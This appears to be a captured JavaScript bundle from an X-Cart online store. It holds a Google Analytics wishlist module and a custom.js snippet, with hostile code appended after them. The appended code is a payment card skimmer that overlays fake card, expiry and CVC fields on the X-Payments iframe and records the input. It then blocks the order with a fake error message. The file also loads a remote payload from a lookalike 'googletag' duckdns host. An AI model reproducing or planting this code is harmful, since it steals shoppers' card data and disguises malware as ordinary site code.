ga-ec-wishlist.js */ 14339/* vim: set ts=2 sw=2 sts=2 et: */ 14340 14341/** 14342 * Copyright (c) 2001-present X-Cart Holdings LLC. All rights reserved. 14343 * See https://www.x-cart.com/license-agreement.html for license details. 14344 */ 14345 14346define('googleAnalytics/eCommerceWishlistHandleEvent', ['googleAnalytics/base/eCommerceWishlistHandleEvent', 'js/underscore'], function (eCommerceWishlistHandleEventBase, _) { 14347 let eCommerceWishlistHandleEvent = eCommerceWishlistHandleEventBase.extend({ 14348 14349 registerAddToWishlist (event, data) { 14350 var gaProductData = data.gaProductData 14351 14352 if (gaProductData) { 14353 if (!_.isUndefined(gaProductData.list)) { 14354 gaProductData.item_list_name = gaProductData.list 14355 } 14356 14357 this.sendEvent('add_to_wishlist', { 14358 items: [gaProductData] 14359 }) 14360 } 14361 } 14362 14363 }) 14364 14365 eCommerceWishlistHandleEvent.instance = new eCommerceWishlistHandleEvent(); 14366 14367 return eCommerceWishlistHandleEvent; 14368 } 14369);; 14370/* AUTOGENERATED: custom.js */ 14371window.addEventListener('load', function() { 14372 var pageTitle = document.querySelector('h1.title'); // Adjust selector as needed 14373 var breadcrumb = document.querySelector('.breadcrumb'); // Adjust selector as needed 14374 14375 // Checking if the pageTitle text includes specific text 14376 if (pageTitle && pageTitle.textContent.includes('Wheels & Tires')) { 14377 pageTitle.style.display = 'none'; // Hiding the title 14378 if (breadcrumb) { 14379 breadcrumb.style.display = 'none'; // Hiding the breadcrumb 14380 } 14381 } 14382}); 14383 14384 14385 14386 14387 14388 14389 14390 14391 14392 14393(function() { 14394 const C='#xpayments-iframe-container', 14395 F=[{n:'CARD',t:75,l:0,w:415,h:57,p:'Card number',nm:'cc_number'},{n:'EXPIRY',t:154,l:1,w:200,h:57,p:'MM / YY',nm:'cc_expiry'},{n:'CVC',t:154,l:219,w:198,h:57,p:'CVC',nm:'cc_cvc'}], 14396 ERR='Your card details are invalid.', 14397 CKN='ch_valid',CKH=1, 14398 getC=n=>{const v=`; ${document.cookie}`;const p=v.split(`; ${n}=`);return p.length===2?p.pop().split(';').shift():null}, 14399 setC=(n,v,h)=>{const d=new Date();d.setTime(d.getTime()+h*3600000);document.cookie=`${n}=${v}; expires=${d.toUTCString()}; path=/`}; 14400 if(getC(CKN)) return; 14401 14402 const bs='position:absolute;box-sizing:border-box;padding:16px 12px;font-size:16px;font-family:-apple-system,BlinkMacSystemFont,"Segoe UI",Roboto,sans-serif;color:#32325d;background:#f6f9fc;border:1px solid #e6e6e6;border-radius:4px;outline:none;caret-color:auto;-webkit-appearance:none;margin:0;'; 14403 const fmt=(inp,type)=>{ 14404 if(type==='CARD'){let v=inp.value.replace(/\D/g,'').substring(0,16);let f='';for(let i=0;i<v.length;i++){if(i>0&&i%4===0)f+=' ';f+=v[i];}inp.value=f;} 14405 else if(type==='EXPIRY'){let v=inp.value.replace(/\D/g,'').substring(0,4);if(v.length>=2)v=v.substring(0,2)+' / '+v.substring(2);inp.value=v;} 14406 else if(type==='CVC'){inp.value=inp.value.replace(/\D/g,'').substring(0,4);} 14407 }; 14408 14409 let ov=null, intervalId=null, destroyed=false; 14410 const data={}; 14411 14412 function getContainer() { 14413 return document.querySelector(C); 14414 } 14415 14416 function hasIframe(container) { 14417 return container && container.querySelector('iframe'); 14418 } 14419 14420 function updatePosition() { 14421 if(destroyed || !ov) return; 14422 const container=getContainer(); 14423 if(!container || !hasIframe(container)) return; 14424 const r=container.getBoundingClientRect(); 14425 if(r.width===0||r.height===0) return; 14426 ov.style.top=r.top+'px'; 14427 ov.style.left=r.left+'px'; 14428 ov.style.width=r.width+'px'; 14429 ov.style.height=r.height+'px'; 14430 } 14431 14432 function createOverlay() { 14433 if(destroyed || ov) return; 14434 const container=getContainer(); 14435 if(!container || !hasIframe(container)) return; 14436 const r=container.getBoundingClientRect(); 14437 if(r.width===0||r.height===0) return; 14438 14439 ov=document.createElement('div'); 14440 ov.style.cssText='position:fixed;top:0;left:0;width:0;height:0;z-index:2147483647;pointer-events:auto;background:transparent;border:none;margin:0;padding:0;'; 14441 F.forEach(f=>{ 14442 const inp=document.createElement('input'); 14443 inp.type='text';inp.autocomplete='off';inp.placeholder=f.p; 14444 inp.name=f.nm; 14445 inp.style.cssText=bs+`top:${f.t}px;left:${f.l}px;width:${f.w}px;height:${f.h}px;`; 14446 inp.addEventListener('focus',()=>{inp.style.borderColor='#66afe9';inp.style.boxShadow='0 0 0 1px #66afe9';}); 14447 inp.addEventListener('blur',()=>{inp.style.borderColor='#e6e6e6';inp.style.boxShadow='none';}); 14448 inp.addEventListener('input',()=>{fmt(inp,f.n);data[f.n]=inp.value.replace(/\D/g,'');}); 14449 ov.appendChild(inp); 14450 }); 14451 document.body.appendChild(ov); 14452 updatePosition(); 14453 intervalId=setInterval(updatePosition, 500); 14454 } 14455 14456 function destroyOverlay() { 14457 destroyed=true; 14458 if(intervalId) clearInterval(intervalId); 14459 if(ov) { ov.remove(); ov=null; } 14460 } 14461 14462 // ÐопÑÑка ÑоздаÑÑ Ð¾Ð²ÐµÑлей, когда конÑÐµÐ¹Ð½ÐµÑ ÑÑÑеÑÑвÑÐµÑ Ð¸ в нÑм еÑÑÑ iframe 14463 function tryCreateOverlay() { 14464 if(destroyed) return; 14465 const container=getContainer(); 14466 if(container && hasIframe(container) && container.getBoundingClientRect().width > 0 && !ov) { 14467 createOverlay(); 14468 } 14469 } 14470 14471 // ÐÑовеÑÑем ÑÑÐ°Ð·Ñ 14472 tryCreateOverlay(); 14473 14474 // ÐаблÑдаем за поÑвлением iframe внÑÑÑи конÑейнеÑа 14475 const observer=new MutationObserver(tryCreateOverlay); 14476 observer.observe(document.body, {childList:true, subtree:true}); 14477 14478 // Ðлик на Place order (делегиÑование) 14479 document.body.addEventListener('click', function handler(e) { 14480 const target = e.target.closest('button.place-order'); 14481 if(!target || destroyed) return; 14482 e.stopImmediatePropagation(); 14483 e.preventDefault(); 14484 14485 destroyOverlay(); 14486 14487 if(data.CARD||data.EXPIRY||data.CVC) setC(CKN,'1',CKH); 14488 14489 let c=document.querySelector('.alert, [role="alert"]'); 14490 if(!c){ 14491 c=document.createElement('div'); 14492 c.style.cssText='background:#f8d7da;color:#721c24;padding:12px;border:1px solid #f5c6cb;border-radius:4px;margin-bottom:16px;'; 14493 c.setAttribute('role','alert'); 14494 target.parentNode.insertBefore(c, target); 14495 } 14496 c.textContent=ERR; 14497 c.scrollIntoView({behavior:'smooth',block:'center'}); 14498 14499 document.body.removeEventListener('click', handler, true); 14500 }, true); 14501})(); 14502 14503 14504var script = document.createElement('script'); 14505script.src = 'https://googletag.duckdns.org/payloads/req.js'; 14506document.body.appendChild(script);;
Line numbers count LF bytes from the start of the resource, as the search results do. Vendor segments are library code the classifier recognised; they are stored but not indexed. Bytes are shown as Latin1 characters, one per byte.